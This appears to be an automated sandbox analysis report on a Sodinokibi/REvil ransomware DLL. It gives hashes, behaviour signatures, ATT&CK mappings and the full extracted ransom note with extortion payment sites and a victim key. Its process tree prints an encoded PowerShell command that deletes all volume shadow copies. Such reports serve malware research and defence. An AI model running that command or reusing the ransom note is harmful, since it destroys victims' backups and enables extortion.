Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 19:27

General

  • Target

    file.dll

  • Size

    164KB

  • MD5

    d017828944f5365b17520051ac994d03

  • SHA1

    7a5b42b5645b9685dc3864a860dd3f4a042ffc50

  • SHA256

    22e6baf4d3e4dba5f6f3ab349700d0169eeeb4a989b20b64a6aefba8be9fa64a

  • SHA512

    58e259497c0cc3bec6527685d33afa9137fcb5640be1c57b390a2ef69b1878d34f72723f5587d984d84a5b5558961a8731285b4cf3c3b733a931bd6a4d8eb4c0

Malware Config

Extracted

Path

C:\p6tslr-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension p6tslr. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/24A06133D01CCA28 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/24A06133D01CCA28 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xG0iZZtRothPLs+t+2sPrYUns6D9wX6mB1qeLrvqa061eW7Tgnp7HrBiV8Bn853C 2YFdjlEAn9AbJ3UTgciACfYyhHZnftB+VHNJmck5eXwZKyPdDBa/oQVA7MHr6mpf brdMjRnM8832ucPxMCAvmfvSCDEBcAJ3ODRxN7Ksf0sm8ODZ4d4G6SDK/2+IHaqm oE7zUZsF9/S6lueeF2QAhNGsI/l/TCX4RXFDBq2dmi1zUvTJo+9WByVnYdJ3Us+7 XToPjK2UpmdmQi3me/pA48dDZKRi7VR/NEEIS/zSDiL9+a7fSjzf+jaVVkk3Qzyx /WUe35mUZAhStiKeT9n8ADzZwGYRXwKkjPyTHGdH/XPi4xqQKZZrM2T1eV/25R3q 7ddv41La3cgNixnbAzhb0Fm52feT25lowc9E5cHPUJX9ADhU5s3odezSDCSWpzIr sNRxYlW+s5AY5P4+hewc2LliT9l77yasb3DRgKQ6HmlS+QMjlLKmfMq57WuSEg/O bGIjBFI6Jr7gqSM7h5j5YFLSNdh7JVZ3DmJd4gjHiLiKDdgNbvnwgamlRgv+bHJh kjpw51aP4cCmf+skV2s+3T+8RWR07wotIhIi+2j1bNbJg/7zMYWS3+Z7QkhcvLiG gkPJEqI4Wdp/bFmHdXftDkLZHtugPXpgNPyZ9pQQSBFsmjRAQHDhAQpCpbcHSVsp uG8M1SO0XjZy78LvB3rPcNuXE21Ftiu8ZIzGLTnnu3zLpiV8YCFK97M7neY7GC6J K60OA0Ew3O2cC+Uoib7jNCJJyW9JxAoi7OOSNiUiFEd2skgna4h1KviEppMaTm8H Q8KUk6riOeLj29mDR6cUTkL5JzDPMDEWXRbqzQ+eI9YJSq6god4/QAAcMdF6O+7s cdu6opXr+N9HTW8Hl3y3cR54jcWEKV16ZQD/EqoHAFl9Zy9QOb6g9ut7eEDaoDgP SOD/Ghhmvbf9rY3zp/QNILn9osKwXAORi7io0zovGcbnEt34QDYXSTTKZ77DN9tE 7T4VLjJn65gq+qedrSCiYvzPNpYiXvVSALY28KnXZftzyR/He8BETbKCw1hau5WU 2A6lLf5rT3IlvOjsOj/jF9RQSz/GNhAJgtNnqD3sZl7m+Q6MSxF+wUkvBHc= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/24A06133D01CCA28

http://decryptor.cc/24A06133D01CCA28

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies service 2 TTPs 5 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
      2⤵
      • Modifies extensions of user files
      • Enumerates connected drives
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:792
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4060
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Modifies service
      • Suspicious use of AdjustPrivilegeToken
      PID:2844

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/544-0-0x0000000000000000-mapping.dmp
    • memory/792-1-0x0000000000000000-mapping.dmp
    • memory/792-2-0x00007FFB89B60000-0x00007FFB8A54C000-memory.dmp
      Filesize

      9.9MB

    • memory/792-3-0x000002991E130000-0x000002991E131000-memory.dmp
      Filesize

      4KB

    • memory/792-4-0x0000029938570000-0x0000029938571000-memory.dmp
      Filesize

      4KB